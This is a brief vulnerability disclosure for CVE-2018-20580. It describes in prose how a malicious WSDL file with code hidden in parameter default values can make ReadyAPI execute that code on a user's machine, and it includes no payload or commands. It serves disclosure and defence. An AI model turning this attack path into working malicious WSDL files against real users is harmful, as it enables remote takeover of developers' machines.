# CVE : CVE-2018-20580

I found a new vulnerability in the (ReadyAPI). It allows an attacker to

execute a remote code on the local machine putting in danger the ReadyAPI

users including developers, pentesters, etc...

The ReadyAPI allows users to open a SOAP project and import WSDL files that

help the users to communicate with the remote server easily.

The WSDL file owner can determine default values of some parameters. An

attacker can impersonate a legitimate web service and inject a malicious

code into a default value of one of the parameters and spread it to

ReadyAPI clients.

When a ReadyAPI client load a malicious WSDL file to his project and send a

request containing the malicious code the ReadyAPI will execute the

malicious code on the victim's computer.

The attack scenario:

An attacker impersonates a regular web service with a WSDL containing the

malicious code.

The victim creates a new project in the ReadyAPI and loads the malicious

WSDL File.

The victim decides to send a request to the remote server and the ReadyAPI

execute the malicious code.

The attacker succeeds in executing malicious code in the victim's machine

and take it over.
